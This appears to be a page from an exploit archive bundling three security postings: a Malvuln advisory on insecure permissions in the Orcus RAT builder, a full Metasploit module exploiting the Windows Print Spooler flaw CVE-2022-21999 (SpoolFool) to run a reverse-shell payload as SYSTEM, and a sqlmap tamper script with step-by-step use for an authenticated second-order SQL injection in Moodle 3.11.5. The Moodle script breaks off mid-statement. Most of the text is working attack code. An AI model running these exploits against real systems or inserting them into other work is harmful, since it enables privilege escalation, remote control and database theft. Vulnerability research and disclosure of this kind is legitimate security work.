<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2022<br />Original source: https://malvuln.com/advisory/cc3670f1b3e60e00b43c86d787563a44.txt<br />Contact: malvuln13@gmail.com<br />Media: twitter.com/malvuln<br /><br />Threat: BuilderOrcus (Orcus.Administration-cracked.exe)<br />Vulnerability: Insecure Permissions<br />Description: When building backdoor servers, the malware writes PE files with insecure permissions to c drive granting change (C) permissions to the authenticated user group. Standard users can rename the executable dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges. <br />Family: BuilderOrcus<br />Type: PE32<br />MD5: cc3670f1b3e60e00b43c86d787563a44<br />Vuln ID: MVID-2022-0515<br />Disclosure: 03/17/2022 <br /><br />Exploit/PoC:<br />C:\>cacls Orcus.Server.exe<br />C:\Orcus.Server.exe BUILTIN\Administrators:(ID)F<br /> NT AUTHORITY\SYSTEM:(ID)F<br /> BUILTIN\Users:(ID)R<br /> NT AUTHORITY\Authenticated Users:(ID)C<br /><br />C:\>dir Orcus.Server.exe<br /> Volume in drive C has no label.<br /><br /> Directory of C:\<br /><br />03/15/2022 11:40 PM 3,366,040 Orcus.Server.exe<br /> 1 File(s) 3,366,040 bytes<br /><br /><br />Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Local<br /> Rank = NormalRanking<br /><br /> prepend Msf::Exploit::Remote::AutoCheck<br /> include Msf::Post::File<br /> include Msf::Exploit::FileDropper<br /> include Msf::Post::Windows::FileSystem<br /> include Msf::Post::Windows::FileInfo<br /> include Msf::Post::Windows::Priv<br /> include Msf::Exploit::EXE<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'CVE-2022-21999 SpoolFool Privesc',<br /> 'Description' => %q{<br /> The Windows Print Spooler has a privilege escalation vulnerability that<br /> can be leveraged to achieve code execution as SYSTEM.<br /><br /> The `SpoolDirectory`, a configuration setting that holds the path that<br /> a printer's spooled jobs are sent to, is writable for all users, and it can<br /> be configured via `SetPrinterDataEx()` provided the caller has the<br /> `PRINTER_ACCESS_ADMINISTER` permission. If the `SpoolDirectory` path does not<br /> exist, it will be created once the print spooler reinitializes.<br /><br /> Calling `SetPrinterDataEx()` with the `CopyFiles\` registry key will load the<br /> dll passed in as the `pData` argument, meaning that writing a dll to the `SpoolDirectory`<br /> location can be loaded by the print spooler.<br /><br /> Using a directory junction and UNC path for the `SpoolDirectory`, the exploit<br /> writes a payload to `C:\Windows\System32\spool\drivers\x64\4` and loads it<br /> by calling `SetPrinterDataEx()`, resulting in code execution as SYSTEM.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'Oliver Lyak', # Vuln discovery and PoC<br /> 'Shelby Pace' # metasploit module<br /> ],<br /> 'Platform' => [ 'win' ],<br /> 'Arch' => ARCH_X64,<br /> 'SessionTypes' => [ 'meterpreter' ],<br /> 'Targets' => [<br /> [<br /> 'Auto',<br /> {<br /> 'Platform' => 'win',<br /> 'Arch' => ARCH_X64,<br /> 'DefaultOptions' => {<br /> 'Payload' => 'windows/x64/meterpreter/reverse_tcp',<br /> 'PrependMigrate' => true<br /> }<br /> }<br /> ]<br /> ],<br /> 'Privileged' => true,<br /> 'References' => [<br /> [ 'URL', 'https://research.ifcr.dk/spoolfool-windows-print-spooler-privilege-escalation-cve-2022-22718-bf7752b68d81'],<br /> [ 'CVE', '2022-21999']<br /> ],<br /> 'DisclosureDate' => '2022-02-08',<br /> 'DefaultTarget' => 0,<br /> 'Notes' => {<br /> 'AKA' => [ 'SpoolFool' ],<br /> 'Stability' => [ CRASH_SERVICE_RESTARTS ],<br /> 'Reliability' => [ UNRELIABLE_SESSION ],<br /> 'SideEffects' => [ ARTIFACTS_ON_DISK ]<br /> },<br /> 'Compat' => {<br /> 'Meterpreter' => {<br /> 'Commands' => %w[<br /> stdapi_railgun_api<br /> ]<br /> }<br /> }<br /> )<br /> )<br /><br /> register_options(<br /> [<br /> OptString.new('PATH', [ true, 'Path to hold the payload', '%TEMP%' ]),<br /> OptInt.new('WAIT_TIME', [ true, 'Time to wait in seconds for spooler to restart', 5 ])<br /> ]<br /> )<br /> end<br /><br /> def check<br /> s_info = sysinfo['OS']<br /> unless s_info =~ /windows/i<br /> return CheckCode::Safe('This module only supports Windows targets.')<br /> end<br /><br /> _major, _minor, build, revision, _branch = file_version('C:\\Windows\\System32\\ntdll.dll')<br /><br /> case s_info<br /> when /windows 7/i<br /> return CheckCode::Safe('Windows 7 is technically vulnerable, though it requires a reboot.')<br /> when /windows 10/i, /windows 2019\+/i, /windows 2016\+/i # 2019 gets reported as 2016 by meterpreter<br /> return CheckCode::Appears if build <= 18362<br /> return CheckCode::Appears if revision < 1526<br /> end<br /><br /> CheckCode::Safe<br /> end<br /><br /> def winspool<br /> session.railgun.winspool<br /> end<br /><br /> def spoolss<br /> session.railgun.spoolss<br /> end<br /><br /> def advapi32<br /> session.railgun.advapi32<br /> end<br /><br /> def get_printer_name<br /> if target_is_server?<br /> return "#{get_default_printer}\x00"<br /> end<br /><br /> "#{Rex::Text.rand_text_alpha(5..12)}\x00"<br /> end<br /><br /> def target_is_server?<br /> s_info = sysinfo['OS']<br /><br /> s_info =~ /server/i || s_info =~ /\d{4}\+/<br /> end<br /><br /> # Windows usually has Print to PDF or XPS Document Writer<br /> # available by default<br /> def get_default_printer<br /> xps = 'Microsoft XPS Document Writer'<br /> pdf = 'Microsoft Print to PDF'<br /><br /> local_const = session.railgun.const('PRINTER_ENUM_LOCAL')<br /> ret = winspool.EnumPrintersA(<br /> local_const,<br /> nil,<br /> 1,<br /> nil,<br /> 0,<br /> 8,<br /> 8<br /> )<br /><br /> unless ret['pcbNeeded'] > 0<br /> fail_with(Failure::UnexpectedReply, 'Failed to determine bytes needed for enumerating printers.')<br /> end<br /><br /> bytes_needed = ret['pcbNeeded']<br /> ret = winspool.EnumPrintersA(<br /> local_const,<br /> nil,<br /> 1,<br /> bytes_needed,<br /> bytes_needed,<br /> 8,<br /> 8<br /> )<br /><br /> fail_with(Failure::UnexpectedReply, 'Failed to enumerate local printers.') unless ret['return']<br /> printer_struct = ret['pPrinterEnum']<br /><br /> return xps if printer_struct.include?(xps)<br /> return pdf if printer_struct.include?(pdf)<br /> end<br /><br /> def get_driver_name<br /> if @printer_name.include?('XPS') || !target_is_server?<br /> return "Microsoft XPS Document Writer v4\x00"<br /> end<br /><br /> "Microsoft Print To PDF\x00"<br /> end<br /><br /> # packs struct according to member types and data<br /> def get_printer_info_struct<br /> server_name = "#{Rex::Text.rand_text_alpha(5..12)}\x00"<br /> port_name = "LPT1:\x00"<br /> driver_name = get_driver_name<br /> print_proc_name = "winprint\x00"<br /> p_datatype = "RAW\x00"<br /><br /> print_strs = "#{server_name}#{@printer_name}#{port_name}#{driver_name}#{print_proc_name}#{p_datatype}"<br /> base = session.railgun.util.alloc_and_write_string(print_strs)<br /><br /> fail_with(Failure::UnexpectedReply, 'Failed to allocate strings for PRINTER_INFO_2 structure.') unless base<br /><br /> print_info_struct = [<br /> base + print_strs.index(server_name),<br /> base + print_strs.index(@printer_name), 0,<br /> base + print_strs.index(port_name),<br /> base + print_strs.index(driver_name), 0, 0, 0, 0,<br /> base + print_strs.index(print_proc_name),<br /> base + print_strs.index(p_datatype), 0, 0,<br /> client.railgun.const('PRINTER_ATTRIBUTE_LOCAL'),<br /> 0, 0, 0, 0, 0, 0, 0<br /> ]<br /><br /> # https://docs.microsoft.com/en-us/windows/win32/printdocs/printer-info-2<br /> print_info_struct.pack('QQQQQQQQQQQQQLLLLLLLL')<br /> end<br /><br /> def add_printer<br /> struct = get_printer_info_struct<br /> fail_with(Failure::UnexpectedReply, 'Failed to create PRINTER_INFO_2 STRUCT.') unless struct<br /><br /> ret = winspool.AddPrinterA(nil, 2, struct)<br /> fail_with(Failure::UnexpectedReply, ret['ErrorMessage']) if ret['GetLastError'] != 0<br /><br /> print_good("Printer #{@printer_name} was successfully added.")<br /> ret['return']<br /> end<br /><br /> def set_spool_directory(handle, spool_dir)<br /> print_status("Setting spool directory: #{spool_dir}")<br /> ret = set_printer_data(handle, '\\', 'SpoolDirectory', spool_dir)<br /><br /> unless ret['GetLastError'] == 0<br /> fail_with(Failure::UnexpectedReply, 'Failed to set spool directory.')<br /> end<br /> end<br /><br /> def restart_spooler(handle)<br /> print_status('Attempting to restart print spooler.')<br /> term_path = 'C:\\Windows\\System32\\AppVTerminator.dll'<br /> ret = set_printer_data(handle, 'CopyFiles\\', 'Module', term_path)<br /> unless ret['GetLastError'] == 0<br /> fail_with(Failure::UnexpectedReply, 'Failed to terminate print spooler service.')<br /> end<br /> end<br /><br /> def set_printer_data(handle, key_name, value_name, config_data)<br /> winspool.SetPrinterDataExA(handle,<br /> key_name,<br /> value_name,<br /> REG_SZ,<br /> config_data,<br /> config_data.length)<br /> end<br /><br /> # set read / execute permissions on dll<br /> # first get the security info in order to modify it<br /> # and pass back to SetNamedSecurityInfo()<br /> def set_perms_on_payload<br /> obj_type = session.railgun.const('SE_FILE_OBJECT')<br /> sec_info = session.railgun.const('DACL_SECURITY_INFORMATION')<br /> ret = advapi32.GetNamedSecurityInfoA(<br /> @payload_path,<br /> obj_type,<br /> sec_info,<br /> nil,<br /> nil,<br /> 8,<br /> nil,<br /> 8<br /> )<br /><br /> unless ret['return'] == 0<br /> fail_with(Failure::UnexpectedReply, 'Failed to get payload security info.')<br /> end<br /><br /> ret = advapi32.BuildExplicitAccessWithNameA(<br /> '\x00' * 48,<br /> 'SYSTEM',<br /> session.railgun.const('GENERIC_ALL'),<br /> session.railgun.const('GRANT_ACCESS'),<br /> session.railgun.const('NO_INHERITANCE')<br /> )<br /><br /> ea_struct = ret['pExplicitAccess']<br /> if ea_struct.empty?<br /> fail_with(Failure::UnexpectedReply, 'Failed to retrieve EXPLICIT_ACCESS structure.')<br /> end<br /><br /> ret = advapi32.SetEntriesInAclA(1, ea_struct, nil, 8)<br /> fail_with(Failure::UnexpectedReply, "Failed to create new ACL: #{ret['GetLastError']}") if ret['return'] != 0<br /><br /> # need to first access pointer to the new acl<br /> # in order to read the acl's header (8 bytes) to determine<br /> # size of entire acl structure<br /> new_acl_ptr = ret['NewAcl'].unpack('Q').first<br /> acl_header = session.railgun.util.memread(new_acl_ptr, 8)<br /><br /> # https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-acl<br /> acl_mems = acl_header.unpack('CCSSS')<br /> struct_size = acl_mems&.at(2)<br /><br /> unless struct_size<br /> fail_with(Failure::UnexpectedReply, 'Failed to retrieve size of ACL structure.')<br /> end<br /><br /> acl_struct = session.railgun.util.memread(new_acl_ptr, struct_size)<br /> ret = advapi32.SetNamedSecurityInfoA(<br /> @payload_path,<br /> obj_type,<br /> sec_info,<br /> nil,<br /> nil,<br /> acl_struct,<br /> nil<br /> )<br /><br /> fail_with(Failure::UnexpectedReply, 'Failed to set permissions on payload.') if ret['return'] != 0<br /> print_status('Payload should have read / execute permissions now.')<br /> end<br /><br /> def open_printer<br /> print_ptr = session.railgun.util.alloc_and_write_string('RAW')<br /> lp_default = [ print_ptr, 0, session.railgun.const('PRINTER_ACCESS_ADMINISTER') ]<br /> lp_default_struct = lp_default.pack('QQS')<br /><br /> winspool.OpenPrinterA(@printer_name, 8, lp_default_struct)<br /> end<br /><br /> def dir_path<br /> datastore['PATH']<br /> end<br /><br /> def count<br /> datastore['WAIT_TIME']<br /> end<br /><br /> def to_unc(path)<br /> path.gsub('C:', '\\\\\localhost\\C$')<br /> end<br /><br /> def write_and_load_dll(handle)<br /> payload_name = "#{Rex::Text.rand_text_alpha(5..12)}.dll"<br /> payload_data = generate_payload_dll<br /> @payload_path = "#{@v4_dir}\\#{payload_name}"<br /> register_file_for_cleanup(@payload_path)<br /> register_dir_for_cleanup(@v4_dir)<br /><br /> print_status("Writing payload to #{@payload_path}.")<br /> unless write_file(@payload_path, payload_data)<br /> fail_with(Failure::UnexpectedReply, 'Failed to write payload.')<br /> end<br /><br /> print_status('Attempting to set permissions for payload.')<br /> set_perms_on_payload<br /> set_printer_data(handle, 'CopyFiles\\', 'Module', @payload_path)<br /> end<br /><br /> def exploit<br /> fail_with(Failure::None, 'Already running as SYSTEM') if is_system?<br /><br /> unless session.arch == ARCH_X64<br /> fail_with(Failure::BadConfig, 'This exploit only supports x64 sessions')<br /> end<br /><br /> @printer_name = get_printer_name<br /> tmp_dir = Rex::Text.rand_text_alpha(5..12)<br /> tmp_path = expand_path("#{dir_path}\\#{tmp_dir}")<br /><br /> # the user name may get truncated which won't work<br /> # when setting the UNC path<br /> dirs = tmp_path.split('\\')<br /> if dirs.index('Users')<br /> full_uname = client.sys.config.getuid.split('\\').last<br /> dirs[dirs.index('Users') + 1] = full_uname<br /> tmp_path = dirs.join('\\')<br /> end<br /><br /> print_status("Making base directory: #{tmp_path}")<br /> unless mkdir(tmp_path)<br /> fail_with(Failure::NoAccess,<br /> 'Permissions may be insufficient.' \<br /> 'Consider choosing a different base path for the exploit.')<br /> end<br /><br /> handle = nil<br /> if target_is_server?<br /> ret = open_printer<br /> fail_with(Failure::UnexpectedReply, 'Failed to open default printer.') unless ret['return']<br /> handle = ret['phPrinter']<br /> else<br /> handle = add_printer<br /> end<br /><br /> driver_dir = 'C:\\Windows\\System32\\spool\\drivers\\x64'<br /> @v4_dir = "#{driver_dir}\\4"<br /> fail_with(Failure::NotFound, 'Driver directory not found.') unless directory?(driver_dir)<br /><br /> # if directory already exists, attempt the exploit<br /> if directory?(@v4_dir)<br /> print_status('v4 directory already exists.')<br /> else<br /> set_spool_directory(handle, to_unc("#{tmp_path}\\4"))<br /> print_status("Creating junction point: #{tmp_path} -> #{driver_dir}")<br /> junction = create_junction(tmp_path, driver_dir)<br /> fail_with(Failure::UnexpectedReply, 'Failed to create junction point.') unless junction<br /><br /> # now restart spooler to create spool directory<br /> print_status('Creating the spool directory by restarting spooler...')<br /> restart_spooler(handle)<br /> print_status("Sleeping for #{count} seconds.")<br /> Rex.sleep(count)<br /><br /> ret = open_printer<br /> unless ret['return']<br /> fail_with(Failure::Unreachable, 'The print spooler service failed to start.')<br /> end<br /><br /> handle = ret['phPrinter']<br /> unless directory?(@v4_dir)<br /> fail_with(Failure::UnexpectedReply, 'Directory was not created.')<br /> end<br /><br /> print_good('Directory was successfully created.')<br /> end<br /><br /> write_and_load_dll(handle)<br /> ensure<br /> if handle && !target_is_server?<br /> spoolss.DeletePrinter(handle)<br /> end<br /><br /> spoolss.ClosePrinter(handle) unless handle.nil?<br /> end<br />end<br /></code></pre>
<pre><code># Exploit Title: Moodle 3.11.5 - SQLi (Authenticated)<br /># Date: 2/3/2022<br /># Exploit Author: Chris Anastasio (@mufinnnnnnn)<br /># Vendor Homepage: https://moodle.com/<br /># Software Link: https://github.com/moodle/moodle/archive/refs/tags/v3.11.5.zip<br /># Write Up: https://muffsec.com/blog/moodle-2nd-order-sqli/<br /># Tested on: Moodle 3.11.5+<br /><br />#!/usr/bin/env python<br /><br />"""<br />thanks to:<br /> - <br />https://pentest.blog/exploiting-second-order-sqli-flaws-by-using-burp-custom-sqlmap-tamper/<br /> - <br />https://book.hacktricks.xyz/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap<br /> - Miroslav Stampar for maintaining this incredible tool<br /><br />greetz to:<br /> - @steventseeley<br /> - @fabiusartrel<br /> - @mpeg4codec<br /> - @0x90shell<br /> - @jkbenaim<br /> - jmp<br /><br />"""<br /><br />import sys<br />import requests<br />import re<br />from pprint import pprint<br />from collections import OrderedDict<br />from lib.core.enums import PRIORITY<br />from lib.core.data import conf<br />from lib.core.data import kb<br />from random import sample<br />__priority__ = PRIORITY.NORMAL<br /><br />requests.packages.urllib3.disable_warnings()<br /><br />"""<br />Moodle 2.7dev (Build: 20131129) to 3.11.5+ 2nd Order SQLi Exploit by <br />muffin (@mufinnnnnnn)<br /><br />How to use:<br /> 1. Define the variables at the top of the tamper() function, example:<br /> username = "teacher's-username"<br /> password = "teacher's-password"<br /> app_root = "http://127.0.0.1/moodle"<br /> course_id = 3<br /> NOTE: the course_id should be a course that your teacher can <br />create badges on<br /><br /> 2. Create a file called `req.txt` that looks like the following. Be <br />sure to update the `Host:` field...<br /><br /> POST <br />/moodle/badges/criteria_settings.php?badgeid=badge-id-replace-me&add=1&type=6 <br />HTTP/1.1<br /> Host: <your-target-here><br /> Content-Type: application/x-www-form-urlencoded<br /> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) <br />AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36<br /> Connection: close<br /><br />sesskey=sess-key-replace-me&_qf__edit_criteria_form=1&mform_isexpanded_id_first_header=1&mform_isexpanded_id_aggregation=0&mform_isexpanded_id_description_header=0&field_firstname=0&field_lastname=0&field_lastname=*&field_email=0&field_address=0&field_phone1=0&field_phone2=0&field_department=0&field_institution=0&field_description=0&field_picture=0&field_city=0&field_country=0&agg=2&description%5Btext%5D=&description%5Bformat%5D=1&submitbutton=Save<br /><br /> 3. Create a file called `req2.txt` that looks like the following. <br />Again, be sure to update the `Host:` field...<br /><br /> POST /moodle/badges/action.php HTTP/1.1<br /> Host: <your-target-here><br /> Content-Type: application/x-www-form-urlencoded<br /> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) <br />AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36<br /> Connection: close<br /><br />id=badge-id-replace-me&activate=1&sesskey=sess-key-replace-me&confirm=1&return=%2Fbadges%2Fcriteria.php%3Fid%3Dbadge_id-replace-me<br /><br /> 4. Run the following sqlmap command, make sure the tamper argument <br />is pointing at this file:<br /><br /> sqlmap -r req.txt --second-req req2.txt <br />--tamper=./moodle-tamper.py --dbms=mysql --level=5 --prefix='id = 1' <br />--drop-set-cookie --answer="login/index.php'. Do you want to <br />follow?=n,Do you want to process it=y" --test-filter='MySQL >= 5.0.12 <br />AND time-based blind (query SLEEP)' --current-user --batch --flush<br /><br /> NOTES:<br /> - for some reason after the first run sqlmap complains that <br />it cannot fingerprint<br /> the db and will refuse to try enumerating anthing else, <br />this<br /> is why there is a flush at the end. I'm sure it can be <br />fixed...<br /> - you can do error based with this command (if errors are <br />enabled...not likely):<br /> sqlmap -r req.txt --second-req req2.txt <br />--tamper=./moodle-tamper.py --dbms=mysql --level=5 --prefix='id = 1' <br />--level=5 --drop-set-cookie --answer="login/index.php'. Do you want to <br />follow?=n,Do you want to process it=y" --batch --current-user <br />--fresh-queries --flush --test-filter='MySQL >= 5.6 AND error-based - <br />WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'<br /><br /><br />How it works (briefly):<br /> - In order to get our sql query into the database it's necessary to <br />create a<br /> badge and add some criteria. It is when adding the critera that <br />the<br /> sql-to-be-executed-2nd-order is inserted into the database.<br /> Finally, when the badge is enabled the injected sql is executed.<br /> - This tamper script does the following:<br /> - log in to the app<br /> - update cookie/sesskey for both the 1st and 2nd requests<br /> - make all the requests necessary to create the badge, right up <br />until adding the critera<br /> - sqlmap itself adds the criteria with whatever payload it's testing<br /> - sqlmap makes the 2nd call to enable the badge (runs the injected sql)<br /> - next time around the tamper script will delete the badge that it last<br /> created to prevent have 10000s of badges for the course<br /><br /><br />Analysis of the bug:<br /> - see http://muffsec.com/blog/moodle-2nd-order-sqli/<br /><br /><br />Why?:<br /> 1. It's an interesting bug, 2nd order sqli is more rare (or maybe <br />just harder to find?)<br /> 2. It's an interesting use of sqlmap. There are some articles <br />talking about using it for 2nd order sqli<br /> but the use cases outlined are relatively straightforward. <br />There's a few hacky things being done<br /> with sqlmap in this script which others might want to do some <br />day i.e.<br /> - using the tamper script to authenticate to the app<br /> - updating the Cookie in sqlmap's httpHeader structure<br /> - updating the CSRF token (sesskey) in the body of both the <br />1st and 2nd request<br /> 3. I wanted to practice programming/thought it would be fun. Also I <br />didn't want to reinvent the<br /> wheel with a standalone exploit when sqlmap is just so darn <br />good at what it does.<br /><br /><br />Thoughts:<br /> - The exploit is not optimized, halfway through writing I realized <br />there is a badge<br /> duplication feature which would cut the number of requests <br />generated down significantly.<br /> There's probably many other ways it could be improved as well<br /> - I didn't do much testing...it works on my system...<br /> - I would be surprised if anyone ever put a `Teacher` level sqli to <br />practical use<br /> - As a bonus, this bug is also usable as a stored xss<br /> - Would be cool if moodle's bug bounty paid more than kudos<br />"""<br /><br />def get_user_session(username, password, app_root):<br /> """<br /> - logs in to moodle<br /> - returns session object, cookie, and sesskey<br /> """<br /><br /> s = requests.Session()<br /> login_page = "{app_root}/login/index.php".format(app_root=app_root)<br /><br /> # make first GET request to get cookie and logintoken<br /> r = s.get(login_page, verify=False)<br /><br /> try:<br /> token = re.findall('logintoken" value="(.*?)"', r.text)[0]<br /> except Exception as e:<br /> print("[-] did not find logintoken, is the target correct?")<br /> print(e)<br /> sys.exit(1)<br /><br /> payload = {'username': username, 'password': password, 'anchor': <br />'', 'logintoken': token}<br /><br /> # make second request to actually log in<br /> # also let's us get the sesskey<br /> r = s.post(login_page, data=payload, allow_redirects=False, <br />verify=False)<br /><br /> # third request for session test which activates the session<br /> cookie = r.cookies.get_dict()<br /> r = s.get(r.headers['Location'], verify=False)<br /><br /> sesskey = re.findall('sesskey":"(.*?)"', r.text)[0]<br /><br /> if (len(cookie) == 0):<br /> sys.exit("[-] Could not establish session! Are credz correct?")<br /><br /> print("[+] Cookie: {} for user \"{}\"".format(cookie, username))<br /> print("[+] sesskey: {} for user \"{}\"".format(sesskey, username))<br /><br /> return s, cookie, sesskey<br /><br />def new_badge1(s, sesskey, app_root, course_id):<br /> """<br /> - this is the first request that gets generated when "add a new badge"<br /> is clicked.<br /> - it returns the `client_id`, `itemid`, and `ctx_id` which are <br />needed on subsequent requests<br /> - returns -1 on failure<br /> """<br /> target_url = "{app_root}/badges/newbadge.php".format(app_root=app_root)<br /><br /> # badge type is 2 which is a course badge (rather than a site badge)<br /> payload = {'type': 2, 'id': course_id, 'sesskey': sesskey}<br /><br /> r = s.post(target_url, data=payload, allow_redirects=False, <br />verify=False)<br /><br /> try:<br /> client_id = re.findall('"client_id":"(.*?)"', r.text)[0]<br /> except Exception as e:<br /> print("[-] failed to grab client_id in new_badge1()")<br /> print(e)<br /> return -1<br /><br /> try:<br /> itemid = re.findall('"itemid":(.*?),"', r.text)[0]<br /> except Exception as e:<br /> print("[-] failed to grab itemid in new_badge1()")<br /> print(e)<br /> return -1<br /><br /> try:<br /> ctx_id = re.findall('&ctx_id=(.*?)&', r.text)[0]<br /> except Exception as e:<br /> print("[-] failed to grab ctx_id in new_badge1()")<br /> print(e)<br /> return -1<br /><br /> return client_id, itemid, ctx_id<br /><br /><br />def image_signin(s, sesskey, app_root, client_id, itemid, ctx_id):<br /> """<br /> - sadly, in order to create a badge we have to associate an image<br /> - this request adds an image which is a moodle logo from wikimedia<br /> - returns sourcekey on success<br /> - return -1 on failure<br /> """<br /><br /> target_url = <br />"{app_root}/repository/repository_ajax.php?action=signin".format(app_root=app_root)<br /><br /> # repo id 6 is for when we are downloading an image<br /> payload = {'file': <br />'https://upload.wikimedia.org/wikipedia/commons/thumb/c/c6/Moodle-logo.svg/512px-Moodle-logo.svg.png', <br /><br /> 'repo_id': '6', 'p': '', 'page': '', 'env': 'filepicker', <br />'accepted_types[]': '.gif', 'accepted_types[]': '.jpe',<br /> 'accepted_types[]': '.jpeg', 'accepted_types[]': '.jpg', <br />'accepted_types[]': '.png', 'sesskey': sesskey,<br /> 'client_id': client_id, 'itemid': itemid, 'maxbytes': '262144', <br />'areamaxbytes': '-1', 'ctx_id': ctx_id}<br /><br /> r = s.post(target_url, data=payload, allow_redirects=False, <br />verify=False)<br /><br /><br /> try:<br /> sourcekey = re.findall('"sourcekey":"(.*?)","', r.text)[0]<br /> except Exception as e:<br /> print("[-] failed to grab sourcekey in image_signin()")<br /> print(e)<br /> return -1<br /><br /> return sourcekey<br /><br /><br />def image_download(s, sesskey, app_root, client_id, itemid, ctx_id, <br />sourcekey):<br /> """<br /> - continues the image flow started in image_signin(), here the <br />actual download happens<br /> - returns image_id on success<br /> - return -1 on failure<br /> """<br /><br /> target_url = <br />"{app_root}/repository/repository_ajax.php?action=download".format(app_root=app_root)<br /><br /> # repo id 6 is for when we are downloading from an image from a URL<br /> payload = {'repo_id': '6', 'p': '', 'page': '', 'env': <br />'filepicker', 'accepted_types[]': '.gif', 'accepted_types[]': '.jpe',<br /> 'accepted_types[]': '.jpeg', 'accepted_types[]': '.jpg', <br />'accepted_types[]': '.png', 'sesskey': sesskey,<br /> 'client_id': client_id, 'itemid': itemid, 'maxbytes': '262144', <br />'areamaxbytes': '-1', 'ctx_id': ctx_id,<br /> 'title': '512px-Moodle-logo.svg.png',<br /> 'source': <br />'https://upload.wikimedia.org/wikipedia/commons/thumb/c/c6/Moodle-logo.svg/512px-Moodle-logo.svg.png', <br /><br /> 'savepath': '/', 'sourcekey': sourcekey, 'license': 'unknown', <br />'author': 'moodle-hax'}<br /><br /> r = s.post(target_url, data=payload, allow_redirects=False, <br />verify=False)<br /><br /> try:<br /> image_id = re.findall(',"id":(.*?),"file', r.text)[0]<br /> except Exception as e:<br /> print("[-] failed to grab image_id in image_download()")<br /> print(e)<br /> return -1<br /><br /> return image_id<br /><br /><br />def new_badge2(s, sesskey, app_root, course_id, image_id, <br />name="sqlmap-badge", description="sqlmap-description"):<br /> """<br /> - finally we are actually creating the badge<br /> """<br /> target_url = "{app_root}/badges/newbadge.php".format(app_root=app_root)<br /><br /> # badge type is 2 which is a course badge (rather than a site badge)<br /> payload = {'type': '2', 'id': course_id, 'action': 'new', <br />'sesskey': sesskey,<br /> '_qf__core_badges_form_badge': '1', <br />'mform_isexpanded_id_badgedetails': '1',<br /> 'mform_isexpanded_id_issuancedetails': '1', 'name': name, <br />'version': '',<br /> 'language': 'en', 'description': description, 'image': image_id,<br /> 'imageauthorname': '', 'imageauthoremail': '', <br />'imageauthorurl': '',<br /> 'imagecaption': '', 'expiry': '0', 'submitbutton': 'Create+badge'}<br /><br /> r = s.post(target_url, data=payload, allow_redirects=False, <br />verify=False)<br /><br /> try:<br /> badge_id = re.findall('badges/criteria.php\?id=(.*?)"', r.text)[0]<br /> except Exception as e:<br /> #print("[-] failed to grab badge_id in new_badge2()")<br /> #print(e)<br /> return -1<br /><br /> return badge_id<br /><br /><br />def delete_badge(s, sesskey, app_root, course_id, badge_id):<br /> """<br /> - delete the badge<br /> """<br /> target_url = "{app_root}/badges/index.php".format(app_root=app_root)<br /><br /> # badge type is 2 which is a course badge (rather than a site badge)<br /> payload = {'sort': 'name', 'dir': 'ASC', 'page': '0', 'type': '2',<br /> 'id': course_id, 'delete': badge_id, 'confirm': '1', <br />'sesskey': sesskey}<br /><br /> # TODO: add validation logic<br /> r = s.post(target_url, data=payload, allow_redirects=False, <br />verify=False)<br /><br /><br />def tamper(payload, **kwargs):<br /><br /> username = "teacher"<br /> password = "password"<br /> app_root = "http://127.0.0.1/moodle"<br /> course_id = 3<br /><br /> # check if cookie is set<br /> # cookie should not be set in the request file or this script will fail<br /> # <br />https://stackoverflow.com/questions/946860/using-pythons-list-index-method-on-a-list-of-tuples-or-objects<br /> try:<br /> cookie_index = [x[0] for x in conf.httpHeaders].index('Cookie')<br /> except ValueError:<br /> # if no cookie is found we run the session initialization routine<br /> s, cookie, sesskey = get_user_session(username, password, app_root)<br /><br /> # this updates the sqlmap cookie<br /> conf.httpHeaders.append(('Cookie', <br />'MoodleSession={}'.format(cookie['MoodleSession'])))<br /><br /> # here we're making our own global variable to hold the sesskey <br />and session object<br /> conf.sesskey = sesskey<br /> conf.s = s<br /><br /> # check if a badge_id is set, if so delete it before making the new one<br /> try:<br /> conf.badge_id is None<br /> delete_badge(conf.s, conf.sesskey, app_root, course_id, <br />conf.badge_id)<br /> except AttributeError:<br /> # we should only hit this on the very first run<br /> # we hit the AttributeError because conf.badge_id doesn't exist yet<br /> pass<br /><br /> #<br /> ## do all the badge creation flow up the point of adding the criteria<br /> #<br /> client_id, itemid, ctx_id = new_badge1(conf.s, conf.sesskey, <br />app_root, course_id)<br /> sourcekey = image_signin(conf.s, conf.sesskey, app_root, client_id, <br />itemid, ctx_id)<br /> image_id = image_download(conf.s, conf.sesskey, app_root, <br />client_id, itemid, ctx_id, sourcekey)<br /><br /> # we need to store the badge_id globally<br /> conf.badge_id = new_badge2(conf.s, conf.sesskey, app_root, <br />course_id, image_id)<br /><br /><br /> # - if badge creation failed try deleting the last known badgeid<br /> # - it's most likely failing because a badge already exists with <br />the same name<br /> # - yes, it's ugly<br /> # - if you control+c and there is a badge with some BS criteria you <br />will<br /> # only see an error on the badge management page and won't be<br /> # able to delete it through moodle<br /> # - if the trouble badgeid is known it can be deleted to resolve <br />the issue<br /> if (conf.badge_id == -1):<br /> with open("/tmp/last-known-badge-id", "r") as f:<br /> conf.badge_id = f.read()<br /> delete_badge(conf.s, conf.sesskey, app_root, course_id, <br />conf.badge_id)<br /><br /> conf.badge_id = 